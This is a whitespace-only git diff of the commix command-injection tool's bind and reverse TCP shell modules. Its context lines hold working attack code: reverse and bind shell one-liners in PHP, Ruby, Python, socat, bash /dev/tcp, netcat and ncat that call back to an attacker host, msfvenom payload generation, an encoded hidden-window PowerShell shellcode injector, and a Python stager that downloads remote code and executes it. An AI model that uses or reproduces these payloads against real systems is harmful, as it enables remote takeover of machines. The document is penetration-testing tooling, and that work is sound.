\ No newline at end of file diff --git a/src/core/shells/bind_tcp.py b/src/core/shells/bind_tcp.py index 7ef833aac8..98fdf36b33 100755 --- a/src/core/shells/bind_tcp.py +++ b/src/core/shells/bind_tcp.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -32,9 +32,9 @@ def shell_options(option): if option.lower() == "bind_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": + elif option.lower() == "?": menu.reverse_tcp_options() - elif option.lower() == "quit": + elif option.lower() == "quit": raise SystemExit() elif option[0:4].lower() == "set ": if option[4:10].lower() == "rhost ": @@ -42,7 +42,7 @@ def shell_options(option): if option[4:10].lower() == "lhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - print(settings.print_error_msg(err_msg)) + print(settings.print_error_msg(err_msg)) if option[4:10].lower() == "lport ": check_lport(option[10:]) else: @@ -80,19 +80,19 @@ def msf_launch_msg(output): """ def set_php_working_dir(): while True: - message = "Do you want to use '" + settings.WIN_PHP_DIR + message = "Do you want to use '" + settings.WIN_PHP_DIR message += "' as PHP working directory on the target host? [Y/n] > " php_dir = common.read_input(message, default="Y", check_batch=True) if php_dir in settings.CHOICE_YES: break elif php_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" + message = "Please provide a full path directory for Python interpreter (e.g. '" message += settings.WIN_PYTHON_INTERPRETER + "') or 'python'> " settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PHP_DIR = True break else: - common.invalid_option(php_dir) + common.invalid_option(php_dir) pass """ @@ -100,19 +100,19 @@ def set_php_working_dir(): """ def set_python_working_dir(): while True: - message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER message += "' as Python interpreter on the target host? [Y/n] > " python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" + message = "Please provide a full path directory for Python interpreter (e.g. '" message += "C:\\Python27\\python.exe') > " settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break else: - common.invalid_option(python_dir) + common.invalid_option(python_dir) pass """ @@ -126,13 +126,13 @@ def set_python_interpreter(): if python_interpreter in settings.CHOICE_YES: break elif python_interpreter in settings.CHOICE_NO: - message = "Please provide a custom interpreter for Python (e.g. '" + message = "Please provide a custom interpreter for Python (e.g. '" message += "python27') > " settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: - common.invalid_option(python_interpreter) + common.invalid_option(python_interpreter) pass """ @@ -147,7 +147,7 @@ def check_rhost(rhost): check / set lport option for bind TCP connection """ def check_lport(lport): - try: + try: if float(lport): settings.LPORT = lport print("LPORT => " + settings.LPORT) @@ -165,7 +165,7 @@ def netcat_version(separator): # Defined shell shell = "sh" - + # Netcat alternatives NETCAT_ALTERNATIVES = [ "nc", @@ -175,13 +175,13 @@ def netcat_version(separator): ] while True: - nc_version = _input("""""" + Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """ + nc_version = _input("""""" + Style.BRIGHT + """Available netcat bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_netcat""" + Style.RESET_ALL + """) > """) - + # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] @@ -190,43 +190,43 @@ def netcat_version(separator): if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break - # Netcat-Traditional + # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break - # Netcat-Openbsd (nc without -e) + # Netcat-Openbsd (nc without -e) elif nc_version == '4': nc_alternative = NETCAT_ALTERNATIVES[3] break - # Check for available shell options + # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): if shell_options(nc_version): return shell_options(nc_version) - # Invalid command + # Invalid command else: common.invalid_option(nc_version) continue while True: message = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = common.read_input(message, default="N", check_batch=True) + enable_bin_dir = common.read_input(message, default="N", check_batch=True) if enable_bin_dir in settings.CHOICE_NO: - break + break elif enable_bin_dir in settings.CHOICE_YES : nc_alternative = "/bin/" + nc_alternative shell = "/bin/" + shell - break + break elif enable_bin_dir in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(enable_bin_dir) + common.invalid_option(enable_bin_dir) pass if nc_version != '4': # Netcat with -e cmd = nc_alternative + " -l -p " + settings.LPORT + " -e " + shell else: - # nc without -e + # nc without -e cmd = shell + " -c \"" + shell + " 0/tmp/f\"" @@ -241,15 +241,15 @@ def other_bind_shells(separator): other_shell = _input("""""" + Style.BRIGHT + """Available generic bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP bind TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl bind TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby bind TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python bind TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat bind TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Ncat bind TCP shell. """ + Style.BRIGHT + """Available meterpreter bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """7""" + Style.RESET_ALL + """' to use a PHP meterpreter bind TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python meterpreter bind TCP shell. commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp_other""" + Style.RESET_ALL + """) > """) - + # PHP-bind-shell if other_shell == '1': @@ -265,9 +265,9 @@ def other_bind_shells(separator): sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " RHOST=" + str(settings.RHOST) + + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open (output, "r+") as content_file: @@ -356,9 +356,9 @@ def other_bind_shells(separator): sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " RHOST=" + str(settings.RHOST) + + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open (output, "r+") as content_file: @@ -400,11 +400,11 @@ def other_bind_shells(separator): sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " RHOST=" + str(settings.RHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " RHOST=" + str(settings.RHOST) + + " LPORT=" + str(settings.LPORT) + " -o " + output + ">/dev/null 2>&1", shell=True).wait() - + with open (output, "r") as content_file: data = content_file.readlines() data = ''.join(data) @@ -421,9 +421,9 @@ def other_bind_shells(separator): "exploit\n\n") if settings.TARGET_OS == settings.OS.WINDOWS: - if not settings.USER_DEFINED_PYTHON_DIR: + if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: set_python_interpreter() @@ -432,7 +432,7 @@ def other_bind_shells(separator): except: print(settings.SINGLE_WHITESPACE) break - # Check for available shell options + # Check for available shell options elif any(option in other_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(other_shell): return shell_options(other_shell) @@ -449,12 +449,12 @@ def other_bind_shells(separator): def bind_tcp_options(separator): while True: - bind_tcp_option = _input("""""" + Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """ + bind_tcp_option = _input("""""" + Style.BRIGHT + """Available bind TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' for netcat bind TCP shells. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' for other bind TCP shells. commix(""" + Style.BRIGHT + Fore.RED + """bind_tcp""" + Style.RESET_ALL + """) > """) - if bind_tcp_option.lower() == "bind_tcp": + if bind_tcp_option.lower() == "bind_tcp": warn_msg = "You are into the '" + bind_tcp_option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue @@ -468,14 +468,14 @@ def bind_tcp_options(separator): elif bind_tcp_option.lower() in settings.SHELL_OPTIONS: return bind_tcp_option else: - pass + pass # Option 2 - Other (Netcat-Without-Netcat) shells elif bind_tcp_option == '2' : bind_tcp_option = other_bind_shells(separator) if bind_tcp_option.lower() not in settings.SHELL_OPTIONS: shell_success() break - # Check for available shell options + # Check for available shell options elif any(option in bind_tcp_option.lower() for option in settings.SHELL_OPTIONS): if shell_options(bind_tcp_option): return shell_options(bind_tcp_option) @@ -495,24 +495,24 @@ def configure_bind_tcp(separator): while True: sys.stdout.write(settings.BIND_TCP_SHELL) option = _input() - if option.lower() == "bind_tcp": + if option.lower() == "bind_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) continue - elif option.lower() == "?": + elif option.lower() == "?": menu.bind_tcp_options() continue - elif option.lower() == "quit": + elif option.lower() == "quit": raise SystemExit() - elif option.lower() == "os_shell" or option.lower() == "back": + elif option.lower() == "os_shell" or option.lower() == "back": settings.BIND_TCP = False break elif option.lower() == "reverse_tcp": settings.REVERSE_TCP = True settings.BIND_TCP = False - break + break elif len(settings.LPORT) != 0 and len(settings.RHOST) != 0: - break + break elif option[0:4].lower() == "set ": if option[4:10].lower() == "rhost ": if check_rhost(option[10:]): @@ -521,12 +521,12 @@ def configure_bind_tcp(separator): else: break else: - continue + continue elif option[4:10].lower() == "lhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'bind_tcp' mode. Use 'RHOST' option." - print(settings.print_error_msg(err_msg)) - continue + print(settings.print_error_msg(err_msg)) + continue elif option[4:10].lower() == "lport ": if check_lport(option[10:]): if len(settings.RHOST) == 0: diff --git a/src/core/shells/reverse_tcp.py b/src/core/shells/reverse_tcp.py index 2969dc7b8b..82cd695433 100755 --- a/src/core/shells/reverse_tcp.py +++ b/src/core/shells/reverse_tcp.py @@ -9,7 +9,7 @@ it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - + For more see the file 'readme/COPYING' for copying permission. """ @@ -37,9 +37,9 @@ def shell_options(option): if option.lower() == "reverse_tcp": warn_msg = "You are into the '" + option.lower() + "' mode." print(settings.print_warning_msg(warn_msg)) - elif option.lower() == "?": + elif option.lower() == "?": menu.reverse_tcp_options() - elif option.lower() == "quit": + elif option.lower() == "quit": raise SystemExit() elif option[0:4].lower() == "set ": if option[4:10].lower() == "lhost ": @@ -47,7 +47,7 @@ def shell_options(option): if option[4:10].lower() == "rhost ": err_msg = "The '" + option[4:9].upper() + "' option, is not " err_msg += "usable for 'reverse_tcp' mode. Use 'LHOST' option." - print(settings.print_error_msg(err_msg)) + print(settings.print_error_msg(err_msg)) if option[4:10].lower() == "lport ": check_lport(option[10:]) if option[4:12].lower() == "srvport ": @@ -95,19 +95,19 @@ def msf_launch_msg(output): """ def set_php_working_dir(): while True: - message = "Do you want to use '" + settings.WIN_PHP_DIR + message = "Do you want to use '" + settings.WIN_PHP_DIR message += "' as PHP working directory on the target host? [Y/n] > " php_dir = common.read_input(message, default="Y", check_batch=True) if php_dir in settings.CHOICE_YES: break elif php_dir in settings.CHOICE_NO: - message = "Please provide a custom working directory for PHP (e.g. '" + message = "Please provide a custom working directory for PHP (e.g. '" message += settings.WIN_PHP_DIR + "') > " settings.WIN_PHP_DIR = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PHP_DIR = True break else: - common.invalid_option(php_dir) + common.invalid_option(php_dir) pass """ @@ -115,19 +115,19 @@ def set_php_working_dir(): """ def set_python_working_dir(): while True: - message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER + message = "Do you want to use '" + settings.WIN_PYTHON_INTERPRETER message += "' as Python interpreter on the target host? [Y/n] > " python_dir = common.read_input(message, default="Y", check_batch=True) if python_dir in settings.CHOICE_YES: break elif python_dir in settings.CHOICE_NO: - message = "Please provide a full path directory for Python interpreter (e.g. '" + message = "Please provide a full path directory for Python interpreter (e.g. '" message += "C:\\Python27\\python.exe') > " settings.WIN_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_DIR = True break else: - common.invalid_option(python_dir) + common.invalid_option(python_dir) pass """ @@ -141,13 +141,13 @@ def set_python_interpreter(): if python_interpreter in settings.CHOICE_YES: break elif python_interpreter in settings.CHOICE_NO: - message = "Please provide a custom working interpreter for Python (e.g. '" + message = "Please provide a custom working interpreter for Python (e.g. '" message += "python27') > " settings.LINUX_PYTHON_INTERPRETER = common.read_input(message, default=None, check_batch=True) settings.USER_DEFINED_PYTHON_INTERPRETER = True break else: - common.invalid_option(python_interpreter) + common.invalid_option(python_interpreter) pass """ @@ -162,7 +162,7 @@ def check_lhost(lhost): check / set lport option for reverse TCP connection """ def check_lport(lport): - try: + try: if float(lport): settings.LPORT = lport print("LPORT => " + settings.LPORT) @@ -176,7 +176,7 @@ def check_lport(lport): check / set srvport option for reverse TCP connection """ def check_srvport(srvport): - try: + try: if float(srvport): settings.SRVPORT = srvport print("SRVPORT => " + settings.SRVPORT) @@ -198,7 +198,7 @@ def check_uripath(uripath): Set up the netcat reverse TCP connection """ def netcat_version(separator): - + # Defined shell shell = "sh" @@ -214,10 +214,10 @@ def netcat_version(separator): nc_version = _input("""""" + Style.BRIGHT + """Available netcat reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use the default Netcat on target host. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use Netcat for Busybox on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use Netcat-Traditional on target host. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use Netcat-Openbsd on target host. commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_netcat""" + Style.RESET_ALL + """) > """) - + # Default Netcat if nc_version == '1': nc_alternative = NETCAT_ALTERNATIVES[0] @@ -226,43 +226,43 @@ def netcat_version(separator): if nc_version == '2': nc_alternative = NETCAT_ALTERNATIVES[1] break - # Netcat-Traditional + # Netcat-Traditional elif nc_version == '3': nc_alternative = NETCAT_ALTERNATIVES[2] break - # Netcat-Openbsd (nc without -e) + # Netcat-Openbsd (nc without -e) elif nc_version == '4': nc_alternative = NETCAT_ALTERNATIVES[3] break - # Check for available shell options + # Check for available shell options elif any(option in nc_version.lower() for option in settings.SHELL_OPTIONS): if shell_options(nc_version): return shell_options(nc_version) - # Invalid option + # Invalid option else: common.invalid_option(nc_version) continue while True: message = "Do you want to use '/bin' standard subdirectory? [y/N] > " - enable_bin_dir = common.read_input(message, default="N", check_batch=True) + enable_bin_dir = common.read_input(message, default="N", check_batch=True) if enable_bin_dir in settings.CHOICE_NO: - break + break elif enable_bin_dir in settings.CHOICE_YES : nc_alternative = "/bin/" + nc_alternative shell = "/bin/" + shell - break + break elif enable_bin_dir in settings.CHOICE_QUIT: raise SystemExit() else: - common.invalid_option(enable_bin_dir) + common.invalid_option(enable_bin_dir) pass if nc_version != '4': # Netcat with -e cmd = nc_alternative + settings.SINGLE_WHITESPACE + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e " + shell else: - # nc without -e + # nc without -e cmd = shell + " -c \"" + shell + " 0/tmp/f\"" @@ -279,7 +279,7 @@ def other_reverse_shells(separator): other_shell = _input("""""" + Style.BRIGHT + """Available generic reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """1""" + Style.RESET_ALL + """' to use a PHP reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use a Perl reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use a Ruby reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """4""" + Style.RESET_ALL + """' to use a Python reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """5""" + Style.RESET_ALL + """' to use a Socat reverse TCP shell. """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """6""" + Style.RESET_ALL + """' to use a Bash reverse TCP shell. @@ -287,11 +287,11 @@ def other_reverse_shells(separator): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """8""" + Style.RESET_ALL + """' to use a Python reverse TCP shell (windows). """ + Style.BRIGHT + """Available meterpreter reverse TCP shell options:""" + Style.RESET_ALL + """ """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """9""" + Style.RESET_ALL + """' to use a PHP meterpreter reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). -""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """10""" + Style.RESET_ALL + """' to use a Python meterpreter reverse TCP shell. +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """11""" + Style.RESET_ALL + """' to use a meterpreter reverse TCP shell (windows). +""" + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """12""" + Style.RESET_ALL + """' to use the web delivery script. commix(""" + Style.BRIGHT + Fore.RED + """reverse_tcp_other""" + Style.RESET_ALL + """) > """) - + # PHP-reverse-shell if other_shell == '1': other_shell = "php -r '$sock=fsockopen(\"" + settings.LHOST + "\"," + settings.LPORT + ");" \ @@ -321,7 +321,7 @@ def other_reverse_shells(separator): "(IO.popen(l,\"rb\"){|fd| fd.each_line {|o| c.puts(o.strip) }}) rescue nil }'" break - # Python-reverse-shell + # Python-reverse-shell elif other_shell == '4': if not settings.USER_DEFINED_PYTHON_INTERPRETER: set_python_interpreter() @@ -334,20 +334,20 @@ def other_reverse_shells(separator): "p=subprocess.call([\"/bin/sh\",\"-i\"])%0d'" break - # Socat-reverse-shell + # Socat-reverse-shell elif other_shell == '5': other_shell = "socat tcp-connect:" + settings.LHOST + ":" + settings.LPORT + \ " exec:\"sh\",pty,stderr,setsid,sigint,sane" break - # Bash-reverse-shell + # Bash-reverse-shell elif other_shell == '6': tmp_file = ''.join([random.choice(string.ascii_letters + string.digits) for n in xrange(5)]) other_shell = "echo \"/bin/sh 0>/dev/tcp/"+ settings.LHOST + "/" + settings.LPORT + \ " 1>%260 2>%260\" > /tmp/" + tmp_file + settings.SINGLE_WHITESPACE + separator + " /bin/bash /tmp/" + tmp_file break - # Ncat-reverse-shell + # Ncat-reverse-shell elif other_shell == '7': other_shell = "ncat " + settings.LHOST + settings.SINGLE_WHITESPACE + settings.LPORT + " -e /bin/sh" break @@ -380,7 +380,7 @@ def other_reverse_shells(separator): windows_only_attack_vector() continue else: - if not settings.USER_DEFINED_PYTHON_DIR: + if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" break @@ -399,9 +399,9 @@ def other_reverse_shells(separator): sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " LHOST=" + str(settings.LHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " LHOST=" + str(settings.LHOST) + + " LPORT=" + str(settings.LPORT) + " -e php/base64 -o " + output + ">/dev/null 2>&1", shell=True).wait() with open (output, "r+") as content_file: @@ -442,16 +442,16 @@ def other_reverse_shells(separator): sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - proc = subprocess.Popen("msfvenom -p " + str(payload) + - " LHOST=" + str(settings.LHOST) + - " LPORT=" + str(settings.LPORT) + + proc = subprocess.Popen("msfvenom -p " + str(payload) + + " LHOST=" + str(settings.LHOST) + + " LPORT=" + str(settings.LPORT) + " -o " + output + ">/dev/null 2>&1", shell=True).wait() - + with open (output, "r") as content_file: data = content_file.readlines() data = ''.join(data) #data = base64.b64encode(data.encode(settings.DEFAULT_CODEC)).decode() - + print(settings.SINGLE_WHITESPACE) # Remove the ouput file. os.remove(output) @@ -463,9 +463,9 @@ def other_reverse_shells(separator): "exploit\n\n") if settings.TARGET_OS == settings.OS.WINDOWS: - if not settings.USER_DEFINED_PYTHON_DIR: + if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() - other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" + other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: if not settings.USER_DEFINED_PYTHON_INTERPRETER: set_python_interpreter() @@ -474,7 +474,7 @@ def other_reverse_shells(separator): except: print(settings.SINGLE_WHITESPACE) break - + # Powershell injection attacks elif other_shell == '11': if not settings.TARGET_OS == settings.OS.WINDOWS: @@ -487,7 +487,7 @@ def other_reverse_shells(separator): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """2""" + Style.RESET_ALL + """' to use TrustedSec's Magic Unicorn. commix(""" + Style.BRIGHT + Fore.RED + """windows_meterpreter_reverse_tcp""" + Style.RESET_ALL + """) > """) - if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): + if any(option in windows_reverse_shell.lower() for option in settings.SHELL_OPTIONS): if shell_options(windows_reverse_shell): return shell_options(windows_reverse_shell) elif windows_reverse_shell == '1' : @@ -516,7 +516,7 @@ def other_reverse_shells(separator): # One line shellcode injection with native x86 shellcode # Greetz to Dave Kennedy (@HackingDave) powershell_code = (r"""$1 = '$c = ''[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);'';$w = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$w::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };';$goat = [System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($1));if($env:PROCESSOR_ARCHITECTURE -eq "AMD64"){$x86 = $env:SystemRoot + "syswow64WindowsPowerShellv1.0powershell";$cmd = "-noninteractive -EncodedCommand";iex "& $x86 $cmd $goat"}else{$cmd = "-noninteractive -EncodedCommand";iex "& powershell $cmd $goat";}""" % (shellcode)) - other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')) + other_shell = "powershell -noprofile -windowstyle hidden -noninteractive -EncodedCommand " + base64.b64encode(powershell_code.encode('utf_16_le')) print(settings.SINGLE_WHITESPACE) with open(output, 'w+') as filewrite: filewrite.write("use exploit/multi/handler\n" @@ -542,9 +542,9 @@ def other_reverse_shells(separator): line = line.rstrip() if "Magic Unicorn Attack Vector v" in line: unicorn_version = line.replace("Magic Unicorn Attack Vector v", "").replace(settings.SINGLE_WHITESPACE, "").replace("-","").replace("\"","").replace(")","") - break + break except: - unicorn_version = "" + unicorn_version = "" update.check_unicorn_version(unicorn_version) try: if len(unicorn_version) == 0: @@ -554,7 +554,7 @@ def other_reverse_shells(separator): subprocess.Popen("python unicorn.py" + settings.SINGLE_WHITESPACE + str(payload) + settings.SINGLE_WHITESPACE + str(settings.LHOST) + settings.SINGLE_WHITESPACE + str(settings.LPORT) + ">/dev/null 2>&1", shell=True).wait() with open(output, 'r') as content_file: other_shell = content_file.read().replace('\n', '') - other_shell = _urllib.parse.quote_plus(other_shell) + other_shell = _urllib.parse.quote_plus(other_shell) print(settings.SINGLE_WHITESPACE) # Remove the ouput file os.remove(output) @@ -568,12 +568,12 @@ def other_reverse_shells(separator): # Return to the current path. os.chdir(current_path) except: - continue + continue except: print(settings.SINGLE_WHITESPACE) break break - + # Web delivery script elif other_shell == '12': while True: @@ -583,7 +583,7 @@ def other_reverse_shells(separator): """ + settings.SUB_CONTENT_SIGN_TYPE + """Type '""" + Style.BRIGHT + """3""" + Style.RESET_ALL + """' to use meterpreter reverse TCP shell (windows). commix(""" + Style.BRIGHT + Fore.RED + """web_delivery""" + Style.RESET_ALL + """) > """) - if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): + if any(option in web_delivery.lower() for option in settings.SHELL_OPTIONS): if shell_options(web_delivery): return shell_options(web_delivery) elif web_delivery == '1': @@ -616,7 +616,7 @@ def other_reverse_shells(separator): if web_delivery == '1': data = "import sys%3bimport ssl%3bu%3d__import__('urllib'%2b{2%3a'',3%3a'.request'}[sys.version_info[0]],fromlist%3d('urlopen',))%3br%3du.urlopen('http://" + str(settings.LHOST) + ":" + str(settings.SRVPORT) + settings.URIPATH + "',context%3dssl._create_unverified_context())%3bexec(r.read())%3b" if settings.TARGET_OS == settings.OS.WINDOWS: - if not settings.USER_DEFINED_PYTHON_DIR: + if not settings.USER_DEFINED_PYTHON_DIR: set_python_working_dir() other_shell = settings.WIN_PYTHON_INTERPRETER + " -c " + "\"" + data + "\"" else: @@ -642,7 +642,7 @@ def 